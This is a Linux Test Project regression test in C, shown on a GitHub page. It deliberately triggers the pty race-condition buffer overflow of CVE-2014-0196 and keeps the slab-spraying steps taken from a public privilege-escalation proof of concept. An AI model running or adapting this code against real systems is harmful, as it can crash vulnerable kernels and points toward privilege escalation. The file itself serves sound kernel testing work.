-
Notifications
You must be signed in to change notification settings - Fork 1k
/
cve-2014-0196.c
150 lines (123 loc) · 3.84 KB
/
cve-2014-0196.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
// SPDX-License-Identifier: GPL-2.0-or-later
/*
* Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
* Original POC by Matthew Daley <mattd@bugfuzz.com>
*/
/*
* This test attempts to cause a buffer overflow using the race condition
* described in CVE-2014-0196. If the test is successful in causing an
* overflow it will most likely result in an immediate Oops, restart or
* freeze. However if it overwrites memory not accessed during the test then
* it could happen at a later time or not at all which is more likely if SLAB
* randomization has been implemented. However as it currently stands, the test
* usually crashes as soon as the delay has been calibrated.
*
* To maximise the chances of the buffer overflow doing immediate detectable
* damage the SLAB filler sockets and ioctls from the original exploit POC
* have been kept even though they are not strictly necessary to reproduce the
* bug.
*
* Further details:
* see linux commit 4291086b1f081b869c6d79e5b7441633dc3ace00
* privilege escalation POC https://www.exploit-db.com/exploits/33516/
*/
#include <pty.h>
#include <stdio.h>
#include <string.h>
#include <termios.h>
#include <limits.h>
#include "tst_test.h"
#include "tst_timer.h"
#include "tst_safe_pthread.h"
#include "tst_fuzzy_sync.h"
#define ONEOFF_ALLOCS 200
#define RUN_ALLOCS 30
#define BUFLEN 512
static volatile int master_fd, slave_fd;
static int filler_ptys[ONEOFF_ALLOCS * 2];
static int target_ptys[RUN_ALLOCS * 2];
static char buf[BUFLEN];
static void *overwrite_thread_fn(void *);
static struct tst_fzsync_pair fzsync_pair;
static void create_pty(int *amaster, int *aslave)
{
if (openpty(amaster, aslave, NULL, NULL, NULL) == -1)
tst_brk(TBROK | TERRNO, "pty creation failed");
}
static void setup(void)
{
int i;
fzsync_pair.exec_loops = 50000;
tst_fzsync_pair_init(&fzsync_pair);
for (i = 0; i < ONEOFF_ALLOCS; i++) {
create_pty(&filler_ptys[i],
&filler_ptys[i + ONEOFF_ALLOCS]);
}
}
static void *overwrite_thread_fn(void *p LTP_ATTRIBUTE_UNUSED)
{
while(tst_fzsync_run_b(&fzsync_pair)) {
tst_fzsync_start_race_b(&fzsync_pair);
SAFE_WRITE(SAFE_WRITE_ANY, slave_fd, buf, BUFLEN - 1);
SAFE_WRITE(SAFE_WRITE_ANY, slave_fd, buf, BUFLEN - 1);
SAFE_WRITE(SAFE_WRITE_ANY, slave_fd, buf, BUFLEN);
tst_fzsync_end_race_b(&fzsync_pair);
}
return 0;
}
static void run(void)
{
struct termios t;
int j;
tst_res(TINFO, "Attempting to overflow into a tty_struct...");
tst_fzsync_pair_reset(&fzsync_pair, overwrite_thread_fn);
while (tst_fzsync_run_a(&fzsync_pair)) {
create_pty((int *)&master_fd, (int *)&slave_fd);
for (j = 0; j < RUN_ALLOCS; j++)
create_pty(&target_ptys[j],
&target_ptys[j + RUN_ALLOCS]);
SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2]);
SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2 + RUN_ALLOCS]);
SAFE_WRITE(SAFE_WRITE_ANY, slave_fd, buf, 1);
tcgetattr(master_fd, &t);
t.c_oflag &= ~OPOST;
t.c_lflag |= ECHO;
tcsetattr(master_fd, TCSANOW, &t);
tst_fzsync_start_race_a(&fzsync_pair);
SAFE_WRITE(SAFE_WRITE_ANY, master_fd, "A", 1);
tst_fzsync_end_race_a(&fzsync_pair);
for (j = 0; j < RUN_ALLOCS; j++) {
if (j == RUN_ALLOCS / 2)
continue;
ioctl(target_ptys[j], 0xdeadbeef);
ioctl(target_ptys[j + RUN_ALLOCS], 0xdeadbeef);
SAFE_CLOSE(target_ptys[j]);
SAFE_CLOSE(target_ptys[j + RUN_ALLOCS]);
}
ioctl(master_fd, 0xdeadbeef);
ioctl(slave_fd, 0xdeadbeef);
SAFE_CLOSE(master_fd);
SAFE_CLOSE(slave_fd);
}
tst_res(TPASS, "Nothing bad happened, probably.");
}
static void cleanup(void)
{
int i;
tst_fzsync_pair_cleanup(&fzsync_pair);
for (i = 0; i < ONEOFF_ALLOCS * 2; i++)
close(filler_ptys[i]);
close(master_fd);
close(slave_fd);
}
static struct tst_test test = {
.setup = setup,
.cleanup = cleanup,
.test_all = run,
.max_runtime = 60,
.tags = (const struct tst_tag[]) {
{"linux-git", "4291086b1f08"},
{"CVE", "2014-0196"},
{}
}
};